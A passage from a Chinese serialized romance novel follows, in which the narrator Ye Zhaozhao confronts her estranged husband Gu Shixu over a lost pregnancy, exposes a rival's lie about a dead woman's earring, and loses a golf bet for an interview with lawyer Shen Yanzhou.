顾时序的瞳孔骤然收缩,像被惊雷劈中般定在原地。
方才还带着狠戾的脸瞬间失去所有血色,漫上细碎的裂痕。
而我也没想到,今日顾时序带我来这儿,让我用诅咒孩子的方式发誓我没有害苏念恩。
却偏偏遇到了德高望重的净悟大师。
在师父说出了我流产的事之后,佛堂陷入死一般的沉寂,我仿佛能听见顾时序沉重的呼吸声。
我望着那尊金光闪闪的佛,自嘲地弯了弯唇角:“顾时序,你想让我用我们死去的第一个孩子发毒誓,还是想用第二个孩子发毒誓?只要你能放过叶家,我如你所愿!”
他猛地一颤,薄唇微微蠕动着,却连一个字都说不出来。
净悟师父在一旁轻轻叹了口气,目光落在顾时序身上,带着几分惋惜:“顾施主,老衲与你相识多年,见你潜心修佛,原以为你早已悟透‘慈悲’二字。可方才你对自己的妻子说出那般话,用逝去的孩儿发毒誓,未免太过残忍了。”
师父顿了顿,声音里添了几分肃穆,“佛门讲因果,你今日种下的恶因,来日怎能得善果?”
顾时序什么都没说,只是怔怔地转身往门外走去。
我跟净悟大师道了谢,缓缓跟上了他。
毕竟,叶家的事,还得他松口。
走到殿门的石阶前,他却猛地停住了脚步。
顾时序目光一寸寸扫过台阶上青灰色的石头。
可是,那天暴雨中蜿蜒的鲜红,他再也不会看见。
顾时序垂在身侧的手指微微发抖,他望向我,清冷的眸中泛起猩红:“昭昭,那天……你很痛,是不是?”
我扯了扯嘴角,想笑,眼泪却先一步涌了上来:“顾时序,你知道吗?那天我跪在雨里,一点点感受着那个小生命从我身体中剥离。我想抓住他,却什么都抓不住……”
“昭昭,我……”
他声音像是被砂纸磨过,很沙哑,“我没想到……会这样。”
我望着远处云雾缭绕的山尖,声音轻得像风,“他一直陪我撑到山顶的位置,才终于彻底离开我。我想,他大概也觉得,有你这样的爸爸,太苦了。”
“别说了。”他眼底的猩红漫得更开,像要滴出血来,“昭昭,别说了……”
那日的痛仿佛又涌了上来,密密麻麻地吞噬着我,我道:“你连听都不敢听下去,是吗?可那一切,是我那天真真切切经历过的!我跪在这石阶上的时候,反反复复地想,我们之间究竟有什么样的仇恨,你要这样对我?”
他僵在原地,冷峻的面容蔓延出一道道痛苦的纹路。
我向山下走去,每一步都像是踩在那个孩子的血上。
没过多久,顾时序追了过来,忽然捉住我的手。
他定定地看着我,仿佛下了某种决心,对我道:“我们……以后好好过,好不好?”
我平静地看着他,道:“顾时序,有些伤,会烂进骨头里,一辈子都好不了!你真觉得,我们还能够‘好好过’吗?”
顾时序手指猛地一松,像是被烫到般缩回手。
他望着我,眼底泛起一抹无所适从,终于,没再说一个字,默默往山下走去。
我站在原地,看着他的身影消失在石阶尽头,才缓缓闭上眼,心口那片麻木的钝痛又开始蔓延。
这时,净悟师父走了过来,在我身边停下。
“抱歉,叶施主。”他语气里带着浓浓的愧疚:“我不知道顾施主的太太,竟然是你。我一直以为,是那位叫苏念恩的施主。”
我自嘲的笑笑,道:“没关系,您不知道是正常的。很少有人知道,我跟顾时序的关系。”
净悟师父叹了口气,目光悠长深远,主动跟我解释:“三年前,顾施主来我这儿,说是自己心爱之人患了疾病,与他离心离德,他很痛苦。所以,想找我寻求办法,让他爱的人脱离苦海。
我问过他的平生之后,才发现他虽然纵横商界,但尔虞我诈,手中间接的杀戮太多,也曾导致竞争对手家破人亡。所以,我建议他从此吃斋念佛,清心寡欲,以赎清自己的业障。
他真的这么做了,一直以来,都做得很好。可我若是知道,那位心爱之人并非他的妻子,而你这个妻子却被他这么对待,我一定是不会让他这么做的。”
虽然我不知道顾时序跟苏念恩之间究竟发生了什么?
我只是悲哀自己这么多年的时光,全都浪费在了一个不值得的人身上。
我微微颔首,道:“谢谢您告诉我这些。”
净悟师父双手合十,虔诚地道:“阿弥陀佛,老衲已经给你那可怜的孩子做了经幡,我会好好给他超度的。”
我忽然觉得万分讽刺和悲凉。
总觉得任何人好像都比顾时序要更在乎我们的孩子一点。
唯独他这个亲生父亲,始终在我们的世界之外。
跟净悟师父道别后,我打车回到家。
当天晚上,我接到了爸爸的电话。
他声音里难掩激动,“昭昭!顾时序那边松口了!他说顾氏的亏损不用我们立刻补齐,给了宽限……虽然你哥哥还没放出来,但这已经是天大的让步了!”
我握着手机的手指紧了紧,喉咙有些发涩,过了好一会儿才低声道:“那就好。妈妈呢?现在怎么样了?”
“医生说洗胃之后没大碍了,就是还有点虚弱,你放心。”
叶爸爸顿了顿,语气里带着一丝困惑和不安,“昭昭,你老实告诉爸爸,是不是……是不是你答应了顾时序什么条件?不然他怎么会突然退让?”
我望着窗外沉沉的夜色,声音轻得像叹息:“大概……是他还有点良心吧。”
电话那头沉默了片刻,父亲终究没再追问,只是反复叮嘱我照顾好自己。
挂了电话,房间里重归寂静。
我用那些撕心裂肺的痛换来的,不过是他迟来的、微不足道的良知。
这代价,重得让我连呼吸都觉得累。
跟父亲通完话没多久,剧组副导演的电话打了进来,语气里满是无奈。
“叶小姐,苏雅欣那边出了点状况。她说花滑训练太苦,实在坚持不下去,想找替身代拍所有冰上戏份。我们根据您的吩咐,告诉他必须由演员本人完成。她一气之下离开了剧组,现在,已经回去了。”
我没想到,苏雅欣就这么点骨气。
原以为她为了翻红,这次好不容易抓住个机会,能拼尽全力。
搞到最后,还是吃不了一点苦,受不了一点罪。
这种女人,真是活该她在娱乐圈被安染踩在脚下。
我对那边道:“不用惯着她。明天,她要是不回剧组,就按照毁约处理。至于我新加的情节,删掉也不会影响其他情节的发展。”
副导演愣了一下,随即应道:“好,我这就去跟她谈。”
没过半小时,剧组那边就传来消息:苏雅欣宁愿赔违约金,也不肯再练滑冰,已经让助理收拾东西离开了剧组。
真是个既想红,又吃不了苦的女人!
……
翌日上午,叶爸爸说叶妈妈没什么事,已经回家休养了。
我将车修好后,便开车去了叶家。
虽说叶氏现在暂时渡过了难关,但哥哥的事才是造成叶夫人想不开的原因。
所以,我还是想回去劝劝她,至少,别再做这么极端的事了。
没想到,顾时序竟然也来了。
客厅里,父母正拘谨地跟他说话。
叶夫人脸色还有些苍白,却努力挤出笑容回应着。
“昭昭来了。”父亲先看见了我,连忙起身。
顾时序也转过头,目光落在我身上,顿了顿,才开口跟我解释:“我来看看岳母。”
那声“岳母”喊得自然,仿佛他从未把叶家搅得天翻地覆,从未将哥哥送进看守所。
我真是感叹他的虚伪。
叶夫人望着顾时序道:“时序,你要是忙,不必特意过来。昭昭在这儿就好,毕竟,景辰给顾氏造成了这么大的麻烦,我们也帮不上什么……”
叶爸爸连连附和:“是啊,时序,别耽误你正事儿。”
他们小心翼翼地奉
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承着,语气里带着讨好。
我知道,他们是怕了,怕顾时序一个不高兴,又将刚刚松动的局面重新拧紧。
毕竟,叶家如今的命脉,还捏在他手里。
我将把保温桶放在茶几上,没看顾时序,只是对叶夫人说:“妈,我给你炖了鸽子汤,趁热喝点。”
我给父母都盛了汤,唯独没给顾时序盛。
叶夫人端着汤碗的手微微抖了一下,有点尴尬,道:“昭昭,你要不给时序也盛一碗?”
我看了眼他,道:“您忘了,他礼佛,不吃荤。”
顾时序淡淡对叶夫人道:“对,我不吃这些,您多喝点补补。”
虽然如此,他目光始终落在我身上,带着一种难以言喻的复杂。
明知道我们都不怎么欢迎他,可顾时序并没有走的意思。
叶爸爸只好努力找着话题,他偶尔应一两句,更多的时候,是沉默地看着我。
顾时序虽然是个冷静的人,但并没有什么耐心。
很显然,叶爸爸说的那些话题,他不感兴趣。
因此,他语气极淡地开口:“爸妈,我有些话想单独跟昭昭说。”
叶父叶母对视一眼,心中了然:“好,你们去书房说吧。”
就这样,我跟顾时序去了书房。
关上门,顾时序走到我面前,高大的身影投下一片阴影。
他声音低沉:“我昨天回去想了一夜,是我对不住你。你想要什么补偿,我都尽量给你。”
我抬眸看他,眼底没什么波澜:“能不能把朵朵还给我?”
他眉头深深蹙了起来:“昭昭,我说过……”
“你说过朵朵不是我的女儿!”我打断他,声音陡然拔高,“你已经让我失去了第二个孩子,难道还要让我跟朵朵一辈子不能相认吗?”
顾时序沉默良久,开口道:“朵朵的确不是你的女儿。而且,雅欣很快就要带她去国外了。”
我心头一紧。
果然,苏雅欣昨天才离开剧组,今天顾时序就开始安排她陪朵朵出国的事了。
我摇了摇头,道:“顾时序,你不能把我的女儿交给苏雅欣这种人!朵朵如果继续跟她在一起,只会变得满口谎言,心机歹毒!她会被教坏!”
顾时序语气不再有愧疚,带着一抹淡淡的指责:“你对她的成见太大了!雅欣从小把朵朵带大,她绝不会伤害朵朵。”
“是吗?”
我嘴角轻扯出一抹冷笑,道:“可惜,苏雅欣对不起你这份信任。”
顾时序道:“什么意思?”
“你不是想知道苏念恩**的吗?或许,她可以给你答案!”
我将自己一直以来的怀疑说了出来:“那天,在我捡到耳钉之后,去了这个品牌的专卖店确认,才得知耳钉的主人是苏念恩。后来,我又去了英国她住的那家医院,听那里的护士说,苏念恩的遗物全部由她母亲和妹妹保管。
如果这个耳钉是苏念恩贴身的东西,苏雅欣母女,难道都没有发现耳钉丢失了吗?
可我从你看到耳钉的反应来看,她们似乎什么都没有告诉你。”
我说完,顾时序目光仿若深不见底的寒潭,让人猜不透他在想什么。
他半晌没说话,但显然是将我的话听了进去。
过了好一会儿,他突然拿出手机,拨通了苏雅欣的电话。
“下午来一趟顾氏庄园。”
他声音听不出情绪,却带着不容置疑的命令,“你自己来,不用带朵朵。”
电话那头不知说了些什么,他只“嗯”了一声便挂断了。
“你跟我一起回去。”
他转头看向我。
我皱了皱眉,本能地想拒绝。
可这或许是查清真相的唯一机会,也是阻止苏雅欣把朵朵带出国的最后希望。
我没说话,算是答应了。
既然苏雅欣手里有遗物清单,说明她肯定知道苏念恩的耳钉丢失了,但却隐瞒了顾时序这么久。
我也很想看看,苏雅欣要怎么解释?
我甚至觉得,苏念恩的死跟她绝对逃不开关系!
第92章 苏雅欣说谎被戳穿
这时,已经临近中午了,叶夫人亲自在门口敲门,留我们在家里吃饭。
我没替顾时序回应,虽然我觉得他根本就不配吃我家的饭。
而顾时序自嘲地弯着唇角,低声对我道:“算了,我留在这儿,你父母会不自在。”
说完,他打开门,对叶夫人道:“我们就不留下了,我马上带昭昭出去有点事。”
叶夫人一愣,望向我,似乎担心顾时序对我做什么。
我给了她一个安心的眼神,想把顾时序带走,免得他再在叶家给父母添堵。
就这样,我们一起离开了叶家。
刚出门,他道:“我让刘妈准备饭菜。或者,我们在外面吃。”
“不用了。”
我冷冷道:“我自己回去随便做点饭就行了。”
顾时序停住脚步,皱眉道:“你就连吃顿饭的机会都不给我?就恨我恨到这种地步?”
我心里暗暗反问:不然呢?
可我已经懒得在他身上浪费情绪,淡淡地说:“你放心,我既然答应了下午过去,就一定会过去。毕竟,我也想知道真相。”
说完,我走进自己车里,开车回家。
下午三点左右,我开车前往顾氏庄园。
我到的时候,苏雅欣已经到了。
刚走进玄关处,我就听见顾时序对她道:“念恩的遗物都在你那儿吧?保存好,别弄丢了。”
“放心吧,时序哥,姐姐的一切遗物,我和我妈都像宝贝似的保存着。全都放在家里好好的,绝不会弄丢的。”
苏雅欣回答得格外自然。
顾时序突然话锋一转,道:“算了,念恩的遗物,我还是自己保管吧!”
苏雅欣猛地一顿,语气里透出抹慌乱:“时序哥,你……你之前不是说看到那些东西会难受吗?怎么突然想自己保管了?”
“我想她了。”顾时序声音里透着些许复杂,沉沉地说:“之前总怕看到这些东西走不出来,现在……或许是时候面对了。”
苏雅欣话语里带着明显的推脱:“可那些东西都在英国的家里收着。要不……等过几天我回去一趟再给你送过来?”
“不用。”顾时序直接打断她,拿出手机就要拨号,“我让人现在过去取,正好那边有相熟的管家,很方便。”
"时序哥。"苏雅欣慌忙站起身,定了定神,强装镇定地改口,“我、我记错了,好像部分遗物我带回国了,就放在我家储物间里……”
顾时序的目光在她脸上停顿两秒,没戳破她的慌乱,只淡淡道:“那让你家佣人现在送过来。”
苏雅欣咬了咬唇,只能硬着头皮应下。
转身去角落打电话时,恰好看见了站在客厅门口的我。
“你……怎么在这儿?”
她警惕地看着我。
我平静地看着她,道:“跟你无关。”
苏雅欣没有精力再跟我纠缠,因为顾时序还在等苏念恩的遗物。
因此,她紧紧握着手机走到了一边,背影透着明显的僵硬。
半小时后,苏家佣人送来一个上好的檀木箱子。
顾时序亲自打开,里面整齐码放着苏念恩的首饰和许多旧物。
他的手指拂过那些物件,在看到首饰盒时停住。
“所有遗物都在这里了吗?”
苏雅欣点点头,道:“嗯,都在这儿了。”
顾时序声音冷了几分,道:“把遗物清单给我看看,对一下。”
苏雅欣的脸色瞬间白了几分,连忙解释:“我……我想起来了,好像丢了一对耳钉。”
顾时序眼神明显沉,阴郁地说:“那是念恩的贴身物品,怎么会丢?这些年,她一直都带着。”
苏雅欣结结巴巴地道:“可……可能是整理遗物的时候不小心弄丢了。我回头再仔细找找吧。姐姐的东西太多,有时候难免疏忽……”
她的话还没说完,我拿出那只耳钉放在桌上,道:“不用找了,在这里。”
苏雅欣看到耳钉的瞬间,瞳孔骤然收缩,像是见了鬼似的后退半步,嘴唇哆嗦着:“你……你怎么会有这个?”
“我捡到的。”我直视着她,语气里带着不容置疑的锐利,“你说遗物都妥善保管着,现在又改口说弄丢了。你为什么要撒谎?苏念恩一个瘫痪的病人,是怎么把窗户打开的?”
苏雅欣眼泪瞬间涌了上来,转向顾时序时声音哽咽,“时序哥,我不是故意说谎的,我……我只是怕你难过!那天整理遗物发现少了一对耳钉,我急得翻遍了所有地方,可就是找不到。我想着万一告诉你,你又要想起姐姐,又要失眠难过的不行,才没敢说。”
她一边说一边抹眼泪,肩膀微微颤抖,看起来委屈又无助。
我追问道:“那天,你亲眼看见了苏念恩的遗体吗?我听护士说,因为楼层太高,摔下来的时候,遗体已经面目全非了。”
苏雅欣辩驳道:“叶小姐,你这是什么意思?难不成,是姐姐没死,我污蔑你的吗?”
说到这儿,她捂着脸哭泣道:“那天,时序哥就该亲眼来看看姐姐有多惨!可他不忍心面对,才让我和我妈妈全权处理,我们只能活化了姐姐的遗体。没想到现在,叶小姐要给我按上这么大的罪名!”
我不可思议地看着顾时序。
他竟然连苏念恩的遗体都没有见到?
这和我当年没见到孩子的遗体,有什么区别?
活要见人,死要见尸。
他都没见到苏念恩的尸体,光听苏雅欣几句话,他凭什么认为苏念恩真的**?
我刚想开口质问他,顾时序便冷声道:“都闭嘴。我不想再提念恩……”
提起这个名字,他脸上的痛苦,显而易见。
我不禁在想,会不会顾时序也被骗了?
就像当年他骗我说孩子已经**,却偷偷把我的孩子送给了别人养。
现在天道轮回,也轮到他自己了!
顾时序依旧沉浸在苏念恩的悲伤中。
他将那枚耳钉握在手里,冷冷对苏雅欣道:“我希望你说的全都是实话。”
苏雅欣声音颤抖,每个字却又斩钉截铁,“是实话,时序哥,我不会骗你的!”
可这次,他似乎没有完全相信苏雅欣,而是道:“明天,你不用陪朵朵去国外了,把她送到我妈那儿待阵子吧。”
苏雅欣脸上闪过一抹错愕,她急切地往前一步:“时序哥,为什么啊?我都跟朵朵说好了,她也很希望去国外生活呢!”
顾时序声音冷淡:“朵朵还是太小了,一个人在国外,我不放心。”
“我会照顾好她的!”苏雅欣急忙保证,“我会寸步不离陪着她。难道,你对我还不放心吗?”
“你还有事业。”顾时序打断她,语气平淡却带着不容置喙,“总不能天天围着朵朵转,耽误了你的工作。”
苏雅欣又开始卖惨,哭啼啼的道:“我的事业早就停滞了。新剧的剧组故意为难我,这几天为了学花滑,我浑身都是伤。与其如此,我还不如把时间空出来陪朵朵。”
说着,她露出淤青的胳膊和腿给顾时序看。
顾时序的目光在那些伤痕上停留了两秒,没辨真假,只淡淡道:“新剧的投资我来解决,下周我带你去见导演。”
苏雅欣眼里委屈瞬间被讶异取代,随即是难以掩饰的惊喜。
她按捺住嘴角的笑意,垂下眼睫矜持的道:“时序哥,我就知道,你不会不管我的。”
顾时序没接话,只是淡淡吩咐道:“早点回去吧。”
苏雅欣乖巧地应了声,转身离开时路过我身边,嘴角扬起一抹得意的弧度。
我并不在乎顾时序对她如何?
只要我女儿不落到她手里,顾时序哪怕把天上的星星摘给她,也跟我无关。
苏雅欣走后,我也准备走了。
“昭昭。”
我转身之际,顾时序突然开口叫住我。
我顿住脚步,没回头。
他走近几步,气息落在我颈后,带着熟悉的冷冽:“你哥哥的事,我可以撤诉。这次,就算了。”
听着他“大度”的原谅,我弯了弯唇角,问:“这次,你的条件是什么?”
我太了解他了!
他所有的馈赠都是需要我付出代价的。
果然,顾时序眉峰蹙了一下,沉声道:“我这边撤诉,也希望你能撤销离婚起诉。至少,给我个弥补你的机会。”
我的目光冷下来,字字清晰,“顾时序,我不需要你
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弥补我什么。希望下次开庭的时候,你别再缺席。你那点多余的怜悯,还是留着打发苏家人吧。”
说完,我拉开门,决绝地走了出去,从始至终都没有看他一眼。
下次,我和顾时序下次再见面,应该就是离婚法庭上了。
……
可第二天上午,手机突然响起,是一个陌生来电。
接起之后,那边就传来一个略显无奈的声音:“叶小姐,我是沈律师的助理高朗。您母亲在君度律所,情绪不太稳定,您方便过来看一下么?”
我的心猛地一沉,连忙道:“我马上过去!”
赶到君度律所时,果然看到叶夫人冲着那办公室里大喊要沈宴州“救命”!
昔日温婉贤淑的叶夫人,为了儿子,偏执的像变了一个人。
旁边围着不少君度律所的员工看热闹。
高朗正不厌其烦的解释:“夫人,我们沈律师现在真的不在。而且,他行程很满,是需要预约的。”
可叶夫人什么都听不进去,一直摇头,眼眶通红:“我求求你,带我去见见沈律师,好不好?只有他能救我儿子了!”
我慌忙走过去,高朗为难的看着我,道:“叶小姐,您母亲……这……”
我满脸窘迫,连声道歉:“不好意思,我现在就带我妈妈回去。”
可叶夫人死活不肯走,哭着道:“昭昭,律师告诉我们,你哥哥他在里面跟人起了冲突,被打得鼻青脸肿!他从小娇生惯养,哪里受过这种苦?现在,能救你哥的,只有沈律师了!我听说他是国内最有名的律师,他一定有办法的!”
就在这时,沈宴州回来了,高大矜贵的男人身后跟着几个西装革履的人,像是生意伙伴。
见这里闹哄哄的,他不满的蹙眉问高朗:“怎么回事?”
“沈律,这位……是叶小姐的母亲……”高朗战战兢兢的说:“好像是为了叶小姐哥哥的事。”
沈宴州这才发现我也在这儿。
叶夫人见到他,也不顾场合,立刻冲了过去,哭求道:“沈律师,麻烦你帮我们想想办法,救救我儿子。”
我赶忙上前拉住她,却根本拉不走。
沈宴州明显很不悦,却又克制了一下,对身后的几位合作伙伴道:“不好意思。”
说完,他对我道:“我现在有重要的事情谈。不然,你到你母亲去休息室等我。”
我仿佛从他眼底看见了一抹嫌弃之色。
就好像在路上碰见一个硬找你要钱的乞丐。
那一瞬间,我满脸发烫,自尊碎了一地。
我没脸再求他帮忙,尴尬道:“抱歉沈律师,我现在带我妈走。您忙您的。”
沈宴州微微颔首,迈着修长的腿往里面走去。
叶夫人被高朗和我一起拽住,才没追进去。
我废了好大的力气,才将叶夫人弄到我车上。
我不忍心苛责她什么,只是无奈地说:“妈,我之前就因为我哥这件事找过沈律师了。”
叶夫人一听,忙问:“那他怎么说的?”
我叹了口气道:“他说我哥犯法是板上钉钉的事。哪怕他是律师,也不能违背法律。”
叶夫人愣了愣,眼泪流得更凶:“就连沈律师都没办法了吗?那你哥哥岂不是没救了?我只要想到他在里面吃苦受罪,还要被人打,我就恨不得替他去坐牢!不然,我去认罪吧!我就说都是**的!”
“妈!”
我终于失去耐心,打断她:“您能不能冷静点?您以前不是这么不可理喻的人啊!”
叶夫**声道:“你让我怎么冷静?那是我的亲生骨肉,唯一的骨肉!你可以不管他,你也可以不在乎叶家对你的恩情,我们也没准备让你报答什么!可我不能眼睁睁看我儿子坠入深渊!”
她说完,车里安静了。
我心口闷的发堵,叶夫人意识到自己说了些什么,手足无措地说:“昭昭,妈……不是那个意思。我……只是太着急了,我怕你哥有个三长两短……”
”我知道。”
虽然心里难受,可我又能说什么呢?
叶家对我有二十年的养育之恩啊!
就在这时,我手机响了,屏幕上赫然出现“沈宴州”三个字。
第94章 沈宴州挺难啃的
见我近乎于石化的表情,主编一愣,问:“叶记者,有问题吗?”
“额……”
我尴尬的开口:“据说,沈律师好像很少接受采访。”
主编点点头,道:“正因为如此,才想让你试试。之前,小孟去过一次,被拒之门外。我想,既然你能写出这么多热点新闻,应该是很有能力的。”
我正在思索着怎么婉拒。
哪怕换个任务也好啊!
可主编又道:“你不有太大压力。能采访到沈律师最好,采访不到就算了。反正,其他杂志社也没有能成功的。”
她已经把话说到这个份儿上,我要是再拒绝,就显得不识抬举、不懂事了。
“好吧。”
我硬着头皮接了下来。
从主编办公室出来后,孟云初对我道:“沈宴州可是个难啃的骨头,实在啃不下来,你也别钻牛角尖,就算了。主编也就是抱着死马当活马医的想法,没让你必须成功。”
“我知道。”
我点点头,虽然如此,但总归还是要跟沈宴州见面。
可一想到那天叶夫人去君度律所大闹,我恨不得找个地缝钻进去。
从主编办公室出来,我酝酿了一会儿说辞,给沈宴州打电话。
听筒里传来“嘟嘟”声,直到很久之后,机械性的女声提示电话无人接听。
我怔了下,他是故意的吗?
毕竟,那天我把叶夫人给我带出君度律所之后,沈宴州曾给我打了个电话,但我没接。
所以,他这是在报复我?
这个念头刚冒出来就被我掐灭了。
沈宴州这个年纪和身份,应该不会跟我计较吧?而且那天我也只是不想给他添麻烦而已。
可第二次、第三次电话依旧石沉大海时,我隐隐觉察到,自己好像真把人得罪了。
……
翌日,我揣着采访提纲直奔君度律所。
当时高朗刚好拿着文件夹从电梯里出来,见到我,他一愣,随即略显暧昧地问:“叶小姐,您来找沈律吧?”
想到那天我在沈宴州家里穿着他的衬衫,他还让高朗来给我送衣服,我有点不自在,尴尬的问:“那他在吗?”
高朗如实说道:“沈律下午跟朋友去打高尔夫了,不在所里。”
我跟他道了谢,驱车去了海城最贵的高尔夫球场。
冬日的午后阳光暖洋洋的。
我远远看见绿茵场上一道挺拔身影,沈宴州一身白色运动装,握着球杆的姿态舒展又专注,连侧影都透着股生人勿近的矜贵。
下一秒,小白球擦过草叶,稳稳滚入洞杯。
我赶忙走过去,舔着脸拍马屁:“舅舅威武!”
沈宴州微微一顿,转身看着我。
阳光落在他轮廓分明的脸上,镜片后的目光淡淡扫过来,并不意外。
应该是高朗跟他说了我去找他的事。
我拿出记者证,小心翼翼的问:“舅舅您现在有空吗?”
沈宴州蹙了蹙眉,压低声音道:“你以为做小伏低,就能跟我套瓷?”
我心头一紧,这都被他发现了!
我的确是想通过“亲戚”关系套瓷来着,让他接受我的采访。
在沈宴州冷冽的目光下,我尴尬到无所适从。
他收回视线,弯腰将球放在tee上,声音没什么起伏:“找我什么事?”
我连忙掏出记者证,道:“不知道您方不方便,我想给您做个专访。”
“没空。”他打断我,语气平淡却带着不容置喙的疏离。
说完,他将球杆交给球童,转身往休息区走,步伐随性松弛。
我愣了愣,他没空吗?
这不是有空打高尔夫消遣呢吗?
就在这时,一个由远及近的声音传了过来,“我去个洗手间的功夫,你怎么不继续打了?”
我循声望去,只见来人穿着一身深灰色运动装,身形同样挺拔,眉眼间带着几分漫不经心的贵气,和沈宴州年纪相仿。
沈宴州侧身看了他一眼,语气平淡地介绍:“这位是江城霍家的霍明琛,也是我的朋友。”
随即又跟霍明琛介绍我,“叶昭昭,《深度周刊》的记者。”
霍明琛的目光在我身上转了一圈,笑意更深了些。
随即,他看向沈宴州时带着点揶揄:“我当是什么事让你停了球局,原来是有客人。不过说起来,你向来不待见记者上门,今天倒是破例让这位叶小姐过来了?”
我正想解释是我自己死皮赖脸跑来的,沈宴州已经开了口,语气听不出波澜:“她能不能采访成,得看她自己的本事,我可没答应。”
我心里一动,立刻提起了精神。
果然,沈宴州看向我,慢悠悠道:“正好明琛来了,不如一起打几杆。叶小姐要是能赢我,采访的事可以再谈。”
我愣了一下,随即暗自松了口气。
高尔夫恰好是我的强项,说起来还是我哥带我入门的。
大学时还拿过区高尔夫球协会比赛的冠军。
可转念一想,要是在他的朋友面前真赢了他,未免太不给他面子,说不定反而会弄巧成拙。
开球时,我刻意收了力道,每一杆都控制着距离,最后果然以一杆之差输给了沈宴州。
他收杆时看了我一眼,那目光似带着点了然,嘴角却没什么表情。
霍明琛在一旁看得清楚,笑着拍了拍沈宴州的肩膀,意有所指道:“这位叶小姐倒是个聪明人。”
我没敢接话,只低着头假装整理球杆。
沈宴州淡淡开口:“叶小姐,你输了。”
我心里掠过一丝失落,不过很快就释然了。
主编本来也没给死命令,就算不成也没什么。
正想开口告辞,沈宴州却忽然又道:“一会儿再打一局,叶小姐这次可要把握住机会。”
我抬头看了看他,又瞥了眼旁边含笑不语的霍明琛,点了点头:“好。”
随后便跟着他们往休息区走去,心里却打起了鼓。
这第二局,到底该全力以赴,还是继续藏拙?
休息区的遮阳棚下,风带着青草的气息掠过。
我默默坐在一旁,尽量降低自己的存在感,听着沈宴州和霍明琛闲聊。
沈宴州端起茶杯抿了一口,状似随意地问霍明琛:“人找得怎么样了?”
霍明琛靠在藤椅上,闻言叹了口气:“或许早不在海城了。我爸当年虽说是在这个城市遇见她的,但这么多年过去了,她原来的单位早就没了她的信息,找起来跟大海捞针似的。”
“说不定人早就不在了,不过是你父亲的执念。”沈宴州淡淡道,“对了,你之前说,那女人给你父亲怀过孩子?”
“谁知道生没生下来?当年分手时,我爸见过她的验孕单,就非说他还有个流落在外的孩子。”
说到这儿,他烦躁的摆摆手,“不提了,接着找吧!只希望能赶紧找到,我可不想三天两头跑到这个人生地不熟的城市。”
我在一旁听着他们朋友间的旧事,也听不懂,安静地没作声。
正沉默着,霍明琛忽然笑了笑,对沈宴州道:“对了,问你个事。你在我那儿订的那颗钻戒,就非它不可?”
沈宴州抬眼:“有问题?”
“海城顾氏的顾时序,今天上午联系我了。”霍明琛说,“我跟他没什么往来,挺意外的。他知道我这儿有款极品南非钻石戒指,想出高价买,说是送给他太太。”
“顾时序”三个字激的我一惊,手里的水杯晃了晃,差点洒出来。
沈宴州的余光若有似无地扫了我一眼,我浑身不自在。
我和顾时序之间那些难看的纠葛,他全都清楚。
明明没必要向他解释什么,可此刻被他这样看着,我只觉得脸颊发烫,心里****的,窘迫得想找个地缝钻进去。
霍明琛像是想起什么趣闻,自顾自笑起来:“说起来,我好像听过顾时序的传闻,之前不是跟个小明星走得挺近吗?闹了半天,原来早有太太。不过看他今天那架势,对太太倒像是真上心,为了那戒指,出价是我成本的二十倍,诚意足得很。”
沈宴州闻言,嘴角勾起一抹极淡的冷笑,带着几分不屑:“怎么?你霍明琛给老婆摆个生日宴都能砸几千万,还缺顾时序这点钱?”
“哎,话不能这么说。”
霍明琛挑眉,笑得精明,“你我都是商人,哪有跟钱过不去的道理?你就说,愿不愿意割爱?到时候多赚的,咱俩对半劈。”
我坐在旁边,手指无意识地绞着,心里像堵了团棉花。
顾时序这副样子,看似慷慨,可真让我觉得下头。
更让我浑身不自在的是,沈宴州的目光时不时落在我身上,那眼神透着若有似无的讥讽。
仿佛我和顾时序那点破事,在他眼里不过是场可笑的闹剧。
就在我坐立不安,想找
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个什么借口溜了的时候,沈宴州终于开口:“反正那颗戒指本就是准备送客户的,既然顾时序愿意当冤大头,成全他也无妨。”
他们两人相视一笑,算是拍板定了。
这时,霍明琛来了个电话,他起身走到一边接了。
休息区里只剩下我和沈宴州。
空气瞬间变得凝滞,我僵硬地坐在原地,恨不得立刻起身离开。
沈宴州忽然开口,轻慢的说:“顾太太,我们这么宰你老公,不生气吧?”
我脸颊瞬间涨得通红,强装镇定道:“这是沈律师和顾时序之间的事,与我无关,我没什么好生气的。”
他却微微倾身,目光落在我脸上,语气带着点说不清道不明的意味:“你们夫妻俩情投意合,我不问你,问谁?”
没等我反应,沈宴州已经起身,扬了扬下巴:“再来一局?”
我硬着头皮应了。
这一次,我不想让着他了!
总得为自己扳回一局,否则,真是被顾时序连累的一点脸都没有了!
可这一次,我才后知后觉地发现,上一局分明是沈宴州在让着我。
此刻的沈宴州动了真格,每一杆都精准得像丈量过,白球一次次稳稳落进洞杯,杆杆进洞,几乎没给我任何喘息的机会。
我拼尽全力应对,却输得一败涂地,狼狈得连握着球杆。
霍明琛回来时,恰好看到最后一杆结束,他打趣道:“宴州,你这就没意思了,干嘛跟个小姑娘较劲儿?”
沈宴州没接话,只是转头看向我,语气恢复了之前的冷淡:“叶小姐,愿赌服输。抱歉,我没法接受你的专访了。”
阳光透过遮阳棚的缝隙落在他脸上,明明是暖光,却让我觉得一阵寒意从心底漫上来。
“没关系。”
我微笑着维持住体面,道:“那不打扰您跟朋友聚会了,先告辞。”
……
从高尔夫球场出来,我给孟云初打了个电话,语气蔫蔫的:“没成,沈宴州油盐不进。”
电话那头传来她早有预料的笑声:“我就说吧,那尊大佛哪是那么好请的?没事,反正也没人成功过,主编不会怪你的。”
被她这么一安慰,我心里那点挫败感淡了些,可一想到沈宴州刚才那抹意味深长的讽刺,我就觉得胸口堵得慌。
回到顾氏庄园时,顾时序已经在了。
他坐在客厅沙发上,手里拿着个精致的丝绒盒子,见我进来,伸手递给我:“打开看看。”
我恍惚了一下,他这样子,让我想起了少年时期,高中部的他总是来接初中部的我一起放学。
有时候,他得了什么稀罕玩意儿,就像现在这样,神秘兮兮,却又格外自豪的献宝似的递给我。
只是现在,我再也没有曾经那般心境,没有任何甜蜜和喜悦。
见我迟迟不动手,顾时序索性自己打开盒子,里面躺着的正是霍明琛说的那颗钻石戒指。
沈宴州和霍明琛的对话瞬间在耳边响起,我盯着那戒指,只觉得讽刺得厉害。
顾时序却没察觉我的异样,拉过我的手,把戒指套在我的无名指上,低头细细欣赏着:“不错,尺寸正合适。”
冰凉的金属贴着皮肤,我下意识想摘下来,借口道:“我上班带着不方便,万一磕坏了……”
“磕坏了再买就是。”
他打断我,语气沉了沉,带着明显的不悦,“你要分房睡,要我给你时间冷静,我都依你了。但你也要知道适可而止,别以为我不知道你什么意思?”
我攥了攥拳,最终还是没摘掉那颗戒指。
